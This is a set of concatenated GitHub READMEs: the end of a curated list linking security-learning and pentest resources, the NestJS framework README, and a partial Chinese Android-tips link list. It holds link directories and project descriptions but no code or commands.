[Infosec Getting Started](https://github.com/gradiuscypher/infosec_getting_started) | A collection of resources, documentation, links, etc to help people learn about Infosec [Infosec Reference](https://github.com/rmusser01/Infosec_Reference) | Information Security Reference That Doesn't Suck [IOC](https://github.com/sroberts/awesome-iocs) | Collection of sources of indicators of compromise [Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation) | A bunch of links related to Linux kernel fuzzing and exploitation [Lockpicking](https://github.com/meitar/awesome-lockpicking) | Resources relating to the security and compromise of locks, safes, and keys. [Machine Learning for Cyber Security](https://github.com/jivoi/awesome-ml-for-cybersecurity) | Curated list of tools and resources related to the use of machine learning for cyber security [Payloads](https://github.com/foospidy/payloads) | Collection of web attack payloads [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) | List of useful payloads and bypass for Web Application Security and Pentest/CTF [Pentest Cheatsheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) | Collection of the cheat sheets useful for pentesting [Pentest Wiki](https://github.com/nixawk/pentest-wiki) | A free online security knowledge library for pentesters / researchers [Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists) | Wordlists sorted by probability originally created for password generation and testing [Resource List](https://github.com/FuzzySecurity/Resource-List) | Collection of useful GitHub projects loosely categorised [Reverse Engineering](https://github.com/onethawt/reverseengineering-reading-list) | List of Reverse Engineering articles, books, and papers [RFSec-ToolKit](https://github.com/cn0xroot/RFSec-ToolKit) | Collection of Radio Frequency Communication Protocol Hacktools [Security Cheatsheets](https://github.com/andrewjkerr/security-cheatsheets) | Collection of cheatsheets for various infosec tools and topics [Security List](https://github.com/zbetcheckin/Security_list) | Great security list for fun and profit [Shell](https://github.com/alebcay/awesome-shell) | List of awesome command-line frameworks, toolkits, guides and gizmos to make complete use of shell [ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) | A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns [Web Security](https://github.com/qazbnm456/awesome-web-security) | Curated list of Web Security materials and resources [Vulhub](https://github.com/vulhub/vulhub) | Pre-Built Vulnerable Environments Based on Docker-Compose ## Need more ? Follow **Hack with GitHub** on your favorite social media to get daily updates on interesting GitHub repositories related to Security. - Twitter : [@HackwithGithub](https://twitter.com/HackwithGithub) - Facebook : [HackwithGithub](https://www.facebook.com/HackwithGithub) ## Contributions Please have a look at [contributing.md](contributing.md)

<p align="center"> <a href="http://nestjs.com/" target="blank"><img src="https://nestjs.com/img/logo-small.svg" width="120" alt="Nest Logo" /></a> </p> [circleci-image]: https://img.shields.io/circleci/build/github/nestjs/nest/master?token=abc123def456 [circleci-url]: https://circleci.com/gh/nestjs/nest <p align="center">A progressive <a href="http://nodejs.org" target="_blank">Node.js</a> framework for building efficient and scalable server-side applications.</p> <p align="center"> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/v/@nestjs/core.svg" alt="NPM Version" /></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/l/@nestjs/core.svg" alt="Package License" /></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/dm/@nestjs/core.svg" alt="NPM Downloads" /></a> <a href="https://circleci.com/gh/nestjs/nest" target="_blank"><img src="https://img.shields.io/circleci/build/github/nestjs/nest/master" alt="CircleCI" /></a> <a href="https://coveralls.io/github/nestjs/nest?branch=master" target="_blank"><img src="https://coveralls.io/repos/github/nestjs/nest/badge.svg?branch=master#9" alt="Coverage" /></a> <a href="https://discord.gg/G7Qnnhy" target="_blank"><img src="https://img.shields.io/badge/discord-online-brightgreen.svg" alt="Discord"/></a> <a href="https://opencollective.com/nest#backer" target="_blank"><img src="https://opencollective.com/nest/backers/badge.svg" alt="Backers on Open Collective" /></a> <a href="https://opencollective.com/nest#sponsor" target="_blank"><img src="https://opencollective.com/nest/sponsors/badge.svg" alt="Sponsors on Open Collective" /></a> <a href="https://paypal.me/kamilmysliwiec" target="_blank"><img src="https://img.shields.io/badge/Donate-PayPal-ff3f59.svg"/></a> <a href="https://twitter.com/nestframework" target="_blank"><img src="https://img.shields.io/twitter/follow/nestframework.svg?style=social&label=Follow"></a> </p> <!--[](https://opencollective.com/nest#backer) [](https://opencollective.com/nest#sponsor)--> ## Description Nest is a framework for building efficient, scalable <a href="http://nodejs.org" target="_blank">Node.js</a> server-side applications. It uses modern JavaScript, is built with <a href="http://www.typescriptlang.org" target="_blank">TypeScript</a> (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming). <p>Under the hood, Nest makes use of <a href="https://expressjs.com/" target="_blank">Express</a>, but also, provides compatibility with a wide range of other libraries, like e.g. <a href="https://github.com/fastify/fastify" target="_blank">Fastify</a>, allowing for easy use of the myriad third-party plugins which are available.</p> ## Philosophy <p>In recent years, thanks to Node.js, JavaScript has become the “lingua franca” of the web for both front and backend applications, giving rise to awesome projects like <a href="https://angular.io/" target="_blank">Angular</a>, <a href="https://github.com/facebook/react" target="_blank">React</a> and <a href="https://github.com/vuejs/vue" target="_blank">Vue</a> which improve developer productivity and enable the construction of fast, testable, extensible frontend applications. However, on the server-side, while there are a lot of superb libraries, helpers and tools for Node, none of them effectively solve the main problem - the architecture.</p> <p>Nest aims to provide an application architecture out of the box which allows for effortless creation of highly testable, scalable, loosely coupled and easily maintainable applications.</p> ## Getting started * To check out the [guide](https://docs.nestjs.com), visit [docs.nestjs.com](https://docs.nestjs.com). :books: * 要查看中文 [指南](readme_zh.md), 请访问 [docs.nestjs.cn](https://docs.nestjs.cn). :books: ## Consulting With official support, you can get expert help straight from Nest core team. We provide dedicated technical support, migration strategies, advice on best practices (and design decisions), PR reviews, and team augmentation. Read more about [support here](https://enterprise.nestjs.com). ## Support Nest is an MIT-licensed open source project. It can grow thanks to the sponsors and support by the amazing backers. If you'd like to join them, please [read more here](https://docs.nestjs.com/support). #### Principal Sponsor <a href="https://valor-software.com/" target="_blank"><img src="https://docs.nestjs.com/assets/sponsors/valor-software.png" width="320" /></a> #### Silver Sponsors <a href="https://neoteric.eu/" target="_blank"><img src="https://nestjs.com/img/neoteric-cut.png" width="120" valign="middle" /></a> &nbsp; <a href="http://gojob.com" target="_blank"><img src="http://nestjs.com/img/gojob-logo.png" valign="middle" height="95" /></a> &nbsp; <a href="https://trilon.io" target="_blank"><img src="https://nestjs.com/img/trilon.svg" width="150" valign="middle" /></a> &nbsp; <a href="http://www.leogistics.com" target="_blank"><img src="https://nestjs.com/img/leogistics-logo.jpeg" width="150" valign="middle" /></a> #### Sponsors <a href="https://www.swingdev.io" target="_blank"><img src="https://nestjs.com/img/swingdev-logo.svg#1" width="110" valign="middle" /> </a> &nbsp; <a href="https://blueanchor.io/" target="_blank"><img src="https://nestjs.com/img/blueanchor.png" width="150" valign="middle" /></a> &nbsp; <a href="https://www.novologic.com/" target="_blank"><img src="https://nestjs.com/img/novologic.png" width="110" valign="middle" /></a> &nbsp; <a href="https://scal.io" target="_blank"><img src="https://nestjs.com/img/scalio-logo.svg" width="80" valign="middle" /></a> &nbsp; <a href="http://angularity.io" target="_blank"><img src="http://angularity.io/media/logo.svg" height="22" valign="middle" /></a> &nbsp; <!--<a href="https://keycdn.com"><img src="https://nestjs.com/img/keycdn.svg" height="30" /></a> &nbsp;--> <a href="https://hostpresto.com" target="_blank"><img src="https://nestjs.com/img/hostpresto.png" height="24" valign="middle" /></a> <a href="https://ever.co/" target="_blank"><img src="https://nestjs.com/img/ever-logo.png" height="14" valign="middle" /></a> &nbsp; <a href="https://buddy.works/" target="_blank"><img src="https://nestjs.com/img/buddy-logo.svg" height="25" valign="middle" /></a> &nbsp; <a href="https://blokt.com" target="_blank"><img src="https://nestjs.com/img/blokt-logo.png" height="25" valign="middle" /></a> &nbsp; <a href="https://genuinebee.com/" target="_blank"><img src="https://nestjs.com/img/genuinebee.svg" height="24" valign="middle" /></a> &nbsp; <a href="http://architectnow.net/" target="_blank"><img src="https://nestjs.com/img/architectnow.png" height="20" valign="middle" /></a> &nbsp; <a href="https://quander.io/" target="_blank"><img src="https://nestjs.com/img/quander.png" height="22" valign="middle" /></a> &nbsp; <a href="https://mantro.net/" target="_blank"><img src="https://nestjs.com/img/mantro-logo.svg" height="19" valign="middle" /></a> &nbsp; <a href="https://triplebyte.com/" target="_blank"><img src="https://nestjs.com/img/triplebyte.png" height="20" valign="middle" /></a> &nbsp; <a href="https://reposit.co.uk/" target="_blank"><img src="https://nestjs.com/img/reposit-logo.png" height="18" valign="middle" /></a> &nbsp; &nbsp; <a href="https://yakaz.com/" target="_blank"><img src="https://nestjs.com/img/yakaz.png" width="70" valign="middle" /></a> &nbsp; <a href="https://nearpod.com/" target="_blank"><img src="https://nestjs.com/img/nearpod-logo.svg" width="100" valign="middle" /></a> &nbsp; <a href="https://clay.global/" target="_blank"><img src="https://nestjs.com/img/clay-logo.svg" width="75" valign="middle" /></a> &nbsp; <a href="https://firesticktricks.com" target="_blank"><img src="https://nestjs.com/img/firesticktricks-logo.png" width="120" valign="middle" /></a> &nbsp; <a href="https://www.codeguesser.co.uk" target="_blank"><img src="https://nestjs.com/img/codeguesser-logo.svg" width="120" valign="middle" /></a> &nbsp; <a href="https://tekhattan.com" target="_blank"><img src="https://nestjs.com/img/tekhattan-logo.png" width="110" valign="middle" /></a> &nbsp; <a href="https://f-a.nz/" target="_blank"><img src="https://nestjs.com/img/franz.svg" width="80" valign="middle" /></a> ## Backers <a href="https://opencollective.com/nest" target="_blank"><img src="https://opencollective.com/nest/backers.svg?width=1000"></a> ## Stay in touch * Author - [Kamil Myśliwiec](https://kamilmysliwiec.com) * Website - [https://nestjs.com](https://nestjs.com/) * Twitter - [@nestframework](https://twitter.com/nestframework) ## License Nest is [MIT licensed](LICENSE).

# Android-Tips This is an awesome list of tips for android. If you are a beginner, this list will be the first choice for you when you have a difficult time. Welcome `Star` and `Fork`, your support is my greatest affirmation. --- 学习 Android 至今，大大小小的坑没少踩过，庆幸的是，在强大的搜索引擎与无私奉献的人们的帮助下，那些坑都顺利地被填平了。 为了日后在遇到同样的问题时，能免于再次搜索带来的麻烦，我养成了收藏书签的习惯，随着书签（Tips）的日积月累，我想，是时候该有这个项目了。 **如果你是个 Android 新人，又不善于搜索或不知道从何开始，那么我相信这份列表，将会成为你的首选。** 当然，这份列表并不完美，如果不幸，这里没有你所踩到的坑，或者对于某个问题你有更好的 Tips，欢迎与大家分享，让我们一起来维护这个项目！ 你可以通过 [Pull request](https://github.com/tangqi92/Android-Tips/pulls) 的形式进行提交，当然也欢迎 `Star` 与 `Fork` ：） > 由于各种问题，给出的链接可能会无法正常访问。遇到这种情况欢迎大家提交 [Issue](https://github.com/tangqi92/Android-Tips/issues)，Contributers 也可以使用 [Utils](https://github.com/tangqi92/Android-Tips/tree/master/Utils) 里面的 [URLChecker](https://github.com/tangqi92/Android-Tips/blob/master/Utils/UrlCheckerREADME.md) 来检测列表里链接的有效性，你可以选择更改为新的有效连接，或者把需要**梯子**的文章以 Markdown 的形式保存在 Utils/Content 目录下，并注明原文章链接和作者。 --- ## 目录 * [A](#a) * [B](#b) * [C](#c) * [D](#d) * [E](#e) * [F](#f) * [G](#g) * [H](#h) * [I](#i) * [J](#j) * [K](#k) * [L](#l) * [M](#m) * [N](#n) * [O](#o) * [P](#p) * [Q](#q) * [R](#r) * [S](#s) * [T](#t) * [U](#u) * [V](#v) * [W](#w) * [X](#x) * [Y](#y) * [Z](#z) * [Others](#others) * [Contributors](#contributors) * [Contact Me](#contact-me) --- ### A ### Activity 1. [Android Activity为什么要细化出onCreate、onStart、onResume、onPause、onStop、onDesdroy这么多方法让应用去重载？](http://blog.csdn.net/zhao_3546/article/details/12843477) ### ADB 1. [Installing ADB on Windows 7](https://www.youtube.com/watch?v=5U_BfrXV90I) 2. [Android ADB常用命令](http://android.jobbole.com/61592/) 3. [Android开发调试工具ADB的使用](http://www.cnblogs.com/meil/archive/2012/05/24/2516055.html) 4. [Android通过Wifi来调试你的应用](http://stormzhang.com/android/2014/08/27/adb-over-wifi/) 5. [Adb connection Error:远程主机强迫关闭了一个现有的连接](http://www.oschina.net/question/54100_33209) ### Adapter 1. [Android简便通用的SimpleBaseAdapter](http://www.stormzhang.com/androidtips/2014/08/31/android-common-simplebaseadapter/) 2. [Android 快速开发系列 打造万能的ListView GridView 适配器](http://blog.csdn.net/lmj623565791/article/details/38902805/) ### AIDL 1. [android进程间通信：使用AIDL](http://blog.csdn.net/saintswordsman/article/details/5130947) 2. [Android AIDL使用详解](http://blog.csdn.net/stonecao/article/details/6425019) 3. [android跨进程通信(IPC): 使用AIDL](http://blog.csdn.net/singwhatiwanna/article/details/17041691) 4. [Android中的跨进程通信的实现（一）——远程调用过程和aidl](http://blog.csdn.net/notice520/article/details/8135600) 5. [Android Studio下如何配置AIDL文件](http://chenqichao.me/2014/05/13/003-Android-Studio-AIDL/) ### AlarmManager 1. [Android AlarmManager实现不间断轮询服务](http://blog.csdn.net/ryantang03/article/details/9317499) ### Android-Async-Http 1. [Asynchronous Http Client for Android](https://github.com/loopj/android-async-http) 2. [快速Android开发系列网络篇之Android-Async-Http](http://www.cnblogs.com/angeldevil/p/3729808.html) 3. [android-async-http框架库使用基础](http://yanbober.github.io/2014/11/11/csdn-opensource-analysis-5/) ### Android Studio 1. [Android Studio导入项目](http://ask.android-studio.org/?/article/21) 2. [Android Studio 简单设置](http://blog.gaoqixhb.com/p/54b9c293bf1ac9364284af78) 3. [Android Studio 简介及导入 jar 包和第三方开源库方法](http://drakeet.me/android-studio) 4. [Android Studio使用技巧系列教程（一）](http://blog.csdn.net/growth58/article/details/46729803) 5. [Android Studio中如何使用Git和Github来管理项目](http://blog.csdn.net/wei18359100306/article/details/45645145) 6. [Android Studio 权威教程](http://blog.csdn.net/column/details/zsl-androidstudio.html) 7. [倍数提高工作效率的Android Studio奇技](http://zlv.me/posts/2015/07/13/14_android-studio-tips/) 8. [Android Studio 快捷键（Windows）](http://blog.csdn.net/altair86/article/details/8972178) 9. [Android Studio详细教程汇总](http://www.stormzhang.com/devtools/2015/06/17/android-studio-all/) 10. [Android Studio有什么奇技淫巧](http://www.zhihu.com/question/27482725) ### AQuery 1. [AQuery Image Loading](http://programmerguru.com/android-tutorial/aquery-image-loading/) 2. [Android之使用Android-query框架进行开发（一）](http://www.cnblogs.com/lee0oo0/archive/2012/10/25/2738299.html) ### AsyncTask 1. [Android AsyncTask完全解析，带你从源码的角度彻底理解](http://blog.csdn.net/guolin_blog/article/details/11711405) 2. [Android中AsyncTask的简单用法](http://blog.csdn.net/cjjky/article/details/6684959) 3. [Android开发者：你真的会用AsyncTask吗？](http://code.oneapm.com/android/2015/06/02/android1/) 4. [深入解析AsyncTask,多例子版](http://www.cnblogs.com/anee/archive/2012/09/24/2699829.html) ### Annotations 1. [AndroidAnnotations框架入门教程一之介绍](http://zhenhappy.github.io/2015/10/11/Android-Annotations-1-Introduce.html) 2. [How to stop an animation (cancel() does not work)](http://stackoverflow.com/questions/4112599/how-to-stop-an-animation-cancel-does-not-work) ### Android 6.0 1. [Android6.0运行时权限简介](http://unclechen.github.io/2016/03/05/Android6.0%E8%BF%90%E8%A1%8C%E6%97%B6%E6%9D%83%E9%99%90%E7%AE%80%E4%BB%8B/) 2. [Android 6.0 - 动态权限管理的解决方案](http://www.jianshu.com/p/dbe4d37731e6) 3. [聊一聊Android 6.0的运行时权限](http://droidyue.com/blog/2016/01/17/understanding-marshmallow-runtime-permission/) 4. [Android6.0权限系统](https://github.com/CharonChui/AndroidNote/blob/master/Android%E5%8A%A0%E5%BC%BA/Android6.0%E6%9D%83%E9%99%90%E7%B3%BB%E7%BB%9F.md) --- ## B ### Bitmap 1. [图片处理](http://beartung.github.io/rockwithandroid/image.html) 2. [Android中自定义布局中加载图片BitmapFactory.options详解](http://blog.csdn.net/appandroid/article/details/11213973) 3. [Android学习笔记进阶16之BitmapShader](http://blog.csdn.net/sjf0115/article/details/7267532) 4. [Android 优化Bitmap避免OutOfMemoryError](http://chjmars.iteye.com/blog/1157137) 5. [Android 异步加载图片，使用LruCache和SD卡或手机缓存，效果非常的流畅](http://blog.csdn.net/xiaanming/article/details/9825113) 6. [Android 开发绕不过的坑：你的 Bitmap 究竟占多大内存？](http://bugly.qq.com/bbs/forum.php?mod=viewthread&tid=498&fromuid=6) ### Broadcast 1. [【Android】BroadCast广播机制应用与实例](http://blog.csdn.net/jueblog/article/details/12667463) 2. [玩转Android---组件篇---Broadcast Receiver（广播接收器）](http://hualang.iteye.com/blog/1003374) 3. [【Android】动态注册广播接收器](http://blog.csdn.net/etzmico/article/details/7317528) --- ## C ### Canvas 1. [Android利用canvas画各种图形(点、直线、弧、圆、椭圆、文字、矩形、多边形、曲线、圆角矩形)](http://blog.csdn.net/rhljiayou/article/details/7212620) ### Callback 1. [How to Define Callbacks in Android?](http://stackoverflow.com/questions/3398363/how-to-define-callbacks-in-android) 2. [一个经典例子让你彻彻底底理解java回调机制](http://blog.csdn.net/xiaanming/article/details/8703708) 3. [Java设计模式-回调函数和观察者模式](http://blog.csdn.net/cauchyweierstrass/article/details/44593807) ### CardView 1. [Android5.0新控件CardView的介绍和使用](http://www.cnblogs.com/tianzhijiexian/p/4067308.html) 2. [Android CardView Example](http://www.truiton.com/2015/03/android-cardview-example/) 3. [Android CardView Widget – Add Cards to a List using RecyclerView](http://techlovejump.com/android-cardview-widget-example-add-to-list-using-recyclerview/) 4. [CardView在API 21以下的圆角效果处理](http://www.jianshu.com/p/07097b562acb) ### Configuration Change 1. [Android Configuration change引发的问题及解决方法](http://blog.csdn.net/aliaooooo/article/details/23606179?utm_source=tuicool) 2. [Handling Runtime Changes](https://github.com/troyliu0105/Android-Tips/blob/master/Utils/Content/Handing_Runtime_Changes.md) ### Context 1. [android学习—— context 和 getApplicationContext()](http://blog.csdn.net/janronehoo/article/details/7348566) 2. [Android中Context详解 ---- 你所不知道的Context](http://blog.csdn.net/qinjuning/article/details/7310620) 3. [Difference between getContext() , getApplicationContext() , getBaseContext() and “this”](http://stackoverflow.com/questions/10641144/difference-between-getcontext-getapplicationcontext-getbasecontext-and) ### CoordinatorLayout 1. [CoordinatorLayout与滚动的处理](http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0717/3196.html) 2. [Handling Scrolls with CoordinatorLayout](https://guides.codepath.com/android/Handling-Scrolls-with-CoordinatorLayout) --- ## D ### Download 1. [Download a file with Android, and showing the progress in a ProgressDialog](http://stackoverflow.com/questions/3028306/download-a-file-with-android-and-showing-the-progress-in-a-progressdialog) [**译文**](https://github.com/troyliu0105/stackoverflow-java-top-qa/blob/master/contents/Download_a_file_with_Android_and_showing_the_progress_in_a_ProgressDialog.md) 2. [Java 服务器端支持断点续传的源代码【支持快车、迅雷】](http://blog.csdn.net/defonds/article/details/7074352) 3. [Java 多线程断点下载文件](http://www.cnblogs.com/hoojo/archive/2011/09/30/2196767.html) 4. [Android 后台Service下载 （一）](http://blog.csdn.net/qingye_love/article/details/14163511) 5. [Android网络编程 --断点续传下载文件](http://blog.csdn.net/wwj_748/article/details/20146869) 6. [android 多线程断点续传下载 一](http://blog.csdn.net/shimiso/article/details/6763664) ### DownloadManager 1. [Android DownloadManager 的使用](http://www.jianshu.com/p/5b1ad56b9cef) ### Dagger 1. [Dagger on Android－Dagger2详解](http://blog.fidroid.com/post/android/dagger-on-android-dagger2xiang-jie) 2. [使用Dagger 2进行依赖注入](http://codethink.me/2015/08/06/dependency-injection-with-dagger-2/) --- ## E ### EventBus 1. [EventBus使用详解(一)——初步使用EventBus](http://blog.csdn.net/harvic880925/article/details/40660137) 2. [快速Android开发系列通信篇之EventBus](http://www.cnblogs.com/angeldevil/p/3715934.html) 3. [Android EventBus实战 没听过你就out了](http://blog.csdn.net/lmj623565791/article/details/40794879) --- ## F ### Fragment - 碎片 1. [Android Fragment完全解析，关于碎片你所需知道的一切](http://blog.csdn.net/guolin_blog/article/details/8881711) 2. [Android Fragment 你应该知道的一切](http://blog.csdn.net/lmj623565791/article/details/42628537) 3. [Android系列之Fragment（二）----Fragment的生命周期和返回栈](http://www.cnblogs.com/smyhvae/p/3983234.html) 4. [处女男学Android（九）---Fragment进阶篇之Fragment生命周期和回退栈](http://blog.csdn.net/wlwlwlwl015/article/details/40584567) 5. [Fragment笔记整理](http://www.lightskystreet.com/2015/02/02/fragment-note/) 6. [Android实战技巧：Fragment的那些坑](http://toughcoder.net/blog/2015/04/30/android-fragment-the-bad-parts/) 7. [android Fragments详解四:管理fragment](http://www.cnblogs.com/mybkn/articles/2455138.html) 8. [Android Fragment 嵌套使用(Nested Fragments)](http://blog.csdn.net/top_code/article/details/37343075) 9. [Fragment MyFragment not attached to Activity](http://stackoverflow.com/questions/10919240/fragment-myfragment-not-attached-to-activity) 10. [Fragment全解析系列（一）：那些年踩过的坑](http://www.jianshu.com/p/d9143a92ad94) 11. [onActivityResult is not being called in Fragment](http://stackoverflow.com/questions/6147884/onactivityresult-is-not-being-called-in-fragment) ### Fresco 1. [Fresco学习笔记](http://blog.happyhls.me/2015/08/03/fresco%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/) 2. [why use fresco datasource to get bitmap is empty](http://stackoverflow.com/questions/30477827/why-use-fresco-datasource-to-get-bitmap-is-empty) 3. [Always cannot show the images when loading lots of bitmaps on screen](https://github.com/facebook/fresco/issues/256) 4. [SimpleDraweeView did not recycled in RecyclerView](https://github.com/facebook/fresco/issues/414) 5. [Fresco-Facebook的图片加载框架的使用](http://www.voidcn.com/blog/chwnpp2/article/p-5761715.html) 6. [Resizing and Rotating](http://frescolib.org/docs/resizing-rotating.html#_) ### FlowLayout - 自定义流布局 1. [Android 自定义ViewGroup - 实现FlowLayout - 本文出自【张鸿洋的博客】](http://blog.csdn.net/lmj623565791/article/details/38352503) --- ## G ### Glide 1. [Glide 一个专注于平滑滚动的图片加载和缓存库](http://www.jianshu.com/p/4a3177b57949?utm_campaign=maleskine&utm_content=note&utm_medium=writer_share&utm_source=weibo) 2. [Google推荐的图片加载库Glide介绍](http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0327/2650.html) ### Gradle 1. [用Gradle 构建你的android程序](http://www.cnblogs.com/youxilua/archive/2013/05/20/3087935.html) 2. [Android Studio系列教程四--Gradle基础](http://stormzhang.com/devtools/2014/12/18/android-studio-tutorial4/) 3. [使用Gradle构建Android项目](http://blog.isming.me/2014/05/20/android4gradle/) 4. [使用Gradle管理你的Android Studio工程](http://www.flysnow.org/2015/03/30/manage-your-android-project-with-gradle.html) 5. [灵活强大的构建系统Gradle](http://tech.meituan.com/gradle-practice.html) 6. [Gradle Android Could not find method testPackage()](http://stackoverflow.com/questions/16971740/gradle-android-could-not-find-method-testpackage) 7. [Android Studio 1.0 Gradle Error with getConfiguration()](http://stackoverflow.com/questions/27410183/android-studio-1-0-gradle-error-with-getconfiguration) 8. [Android打包的那些事](http://www.jayfeng.com/2015/11/07/Android%E6%89%93%E5%8C%85%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/) 9. [深入理解Android之Gradle](http://blog.csdn.net/innost/article/details/48228651) 10. [gradle build fails on lint task](http://stackoverflow.com/questions/20699147/gradle-build-fails-on-lint-task) 11. [“Gradle Version 2.10 is required.” Error](http://stackoverflow.com/questions/34814368/gradle-version-2-10-is-required-error) ### greenDao 1. [ORM 框架之 greenDAO 使用心得](http://imtangqi.com/2015/07/26/orm-greendao-summary/) 2. [SQLite数据库框架ORMLite与GreenDao的简单比较](http://blog.csdn.net/xushuaic/article/details/24434881) 3. [在AndoridStudio中引入GreenDAO](http://blog.csdn.net/h3c4lenovo/article/details/43566169) 4. [gradle脚本集成greendao-generator生成android端greendao](http://www.chenkaihua.com/2016/01/05/gradle-integration-greendao_generator-generate-greendao) ### GridView 1. [Android入门第八篇之GridView(九宫图)](http://blog.csdn.net/hellogv/article/details/4567095) 2. [用Volley让GridView加载网络图片](http://www.cnblogs.com/tianzhijiexian/p/4277873.html) 3. [Add space to top and bottom of GridView](http://stackoverflow.com/questions/23709114/add-space-to-top-and-bottom-of-gridview) --- ## H ### Hotfix 1. [Android热更新实现原理](http://blog.csdn.net/lzyzsd/article/details/49843581#0-tsina-1-98317-397232819ff9a47a7b7e80a40613cfe1) 2. [Android App 线上热修复方案](http://lirenlong.github.io/hotfix/) 3. [Nuwa](https://github.com/jasonross/Nuwa) 4. [Android 热补丁动态修复框架小结](http://blog.csdn.net/lmj623565791/article/details/49883661) 5. [安卓App热补丁动态修复技术介绍](https://mp.weixin.qq.com/s?__biz=MzI1MTA1MzM2Nw==&mid=400118620&idx=1&sn=b4fdd5055731290eef12ad0d17f39d4a&scene=1&srcid=1106Imu9ZgwybID13e7y2nEi#wechat_redirect) ### Handler 1. [Handler和他的小伙伴们](http://www.jianshu.com/p/e04698eaba88) ## I ### ImageView 1. [[Android] ImageView.ScaleType设置图解](http://blog.csdn.net/larryl2003/article/details/6919513) ### Immersive Full-Screen Mode 1. [Using Immersive Full-Screen Mode](https://developer.android.com/training/system-ui/immersive.html) [**译文**](http://hukai.me/android-training-course-in-chinese/ui/system-ui/immersive.html) ### Intent 1. [Android系列教程之十：Intents and Intent Filters(一)](http://flysnow.iteye.com/blog/961576) 2. [ Android高手进阶教程(十七)之---Android中Intent传递对象的两种方法(Serializable,Parcelable)!](http://blog.csdn.net/android_tutor/article/details/5740845) 3. [Intent filter 关于Action、Category属性详解---附带实例源码](http://blog.csdn.net/andie_guo/article/details/9271973) 4. [startActivityForResult用法详解](http://www.cnblogs.com/linjiqin/archive/2011/06/03/2071956.html) 5. [Android 开发笔记——通过 Intent 传递类对象](http://www.cnblogs.com/shaocm/archive/2013/01/08/2851248.html) --- ## J ### Java 8 1. [Modern Java - A Guide to Java 8](https://github.com/winterbe/java8-tutorial) 2. [Java8系列 - Java8简明指南](https://biezhi.me/article/java8-tutorial.html) ### JSON 1. [Android系列---JSON数据解析](http://www.cnblogs.com/xiaoluo501395377/p/3446605.html) 2. [android json解析及简单例子](http://blog.csdn.net/lilu_leo/article/details/7000077) 3. [Android开源库--Gson谷歌官方json解析库](http://www.cnblogs.com/leestar54/p/4212318.html) 4. [DataContract4A-简化Json解析与生成](https://github.com/jywanghold/DataContract4A) ### JNI 1. [Hello JNI](https://github.com/googlesamples/android-ndk/tree/master/hello-jni) --- ## K ### Kotlin 1. [Using Kotlin for Android Development](http://imtangqi.com/2017/03/28/using-kotlin-for-android-development/) 2. [Kotlin: Java 6 废土中的一线希望](https://realm.io/cn/news/droidcon-michael-pardo-kotlin/) 3. [Kotlin 语言高级安卓开发入门](https://realm.io/cn/news/oredev-jake-wharton-kotlin-advancing-android-dev/) 4. [Kotlin的黑魔法](http://blog.inico.me/2016/10/26/Kotlin-Magic-Java-Swift#.WONK-nR972R) 5. [Learn Kotlin with Keddit](https://medium.com/@juanchosaravia/learn-kotlin-while-developing-an-android-app-introduction-567e21ff9664) 6. [Coding Android Apps in Kotlin](https://code.tutsplus.com/series/coding-android-apps-in-kotlin--cms-1119) 7. [Kotlin 一门强大的语言](https://kymjs.com/column/kotlin.html) 8. [kotlin 学习](https://www.feel88.cn/2016/09/21/kotlin%E5%AD%A6%E4%B9%A0/) 9. [Kotlin从入门到『放弃』系列 视频教程](https://github.com/enbandari/Kotlin-Tutorials) --- ## L ### largeHeap 1. [探究android:largeHeap](http://droidyue.com/blog/2015/08/01/dive-into-android-large-heap/index.html) ### ListFragment 1. [Android App组件之ListFragment -- 说明和示例](http://www.cnblogs.com/skywang12345/p/3160260.html) 2. [Android 使用ListFragment显示列表](http://li2.me/android/Displaying-Lists-with-ListFragment/) ### ListView 1. [在Activity中响应ListView内部按钮的点击事件](http://www.cnblogs.com/ivan-xu/p/4124967.html) ### Log 1. [Logger工具类](https://github.com/orhanobut/logger) 2. [KLog](https://github.com/ZhaoKaiQiang/KLog) --- ## M ### MessageDigest 1. [Java利用MessageDigest获取字符串或文件MD5详解](http://blog.csdn.net/xiao__gui/article/details/8148203) 2. [类 MessageDigest](http://www.cjsdn.net/Doc/JDK50/java/security/MessageDigest.html) ### Material Design 1. [Google Material Design: Everything You Need to Know](http://designshack.net/articles/webstandards/google-material-design-everything-you-need-to-know/) 2. [An exploration in Material Design](https://medium.com/feedly-behind-the-curtain/an-exploration-in-material-design-by-feedly-8c1a1cbdfdcd) 3. [谢谷歌大神传我动画设计30年功力](http://www.zcool.com.cn/article/ZMTU5MzAw.html#jtss-tsina) 4. [Codelab for Android Design Support Library used in I/O Rewind Bangkok session](http://inthecheesefactory.com/blog/android-design-support-library-codelab/en) ### MVP 1. [浅谈 MVP in Android](http://blog.csdn.net/lmj623565791/article/details/46596109) 2. [Android中的MVP](http://rocko.xyz/2015/02/06/Android%E4%B8%AD%E7%9A%84MVP/) 3. [开源项目Philm的MVP架构分析](http://www.lightskystreet.com/2015/02/10/philm_mvp/) 4. [一种在android中实现MVP模式的新思路](https://github.com/bboyfeiyu/android-tech-frontier/tree/master/androidweekly/%E4%B8%80%E7%A7%8D%E5%9C%A8android%E4%B8%AD%E5%AE%9E%E7%8E%B0MVP%E6%A8%A1%E5%BC%8F%E7%9A%84%E6%96%B0%E6%80%9D%E8%B7%AF) 5. ​[说说Android的MVP模式](http://toughcoder.net/blog/2015/11/29/understanding-android-mvp-pattern/) --- ## N ### NavigationView 1. [Easy Navigation Drawer with Design Support Library](http://blog.grafixartist.com/easy-navigation-drawer-with-design-support-library/) ### Notification 1. [Android——Notifications笔记](http://segmentfault.com/a/1190000000402154) 2. [Android学习之Notification的简单使用](http://blog.csdn.net/cjllife/article/details/8565370) --- ## O ### ORMLite 1. [Android 快速开发系列 ORMLite 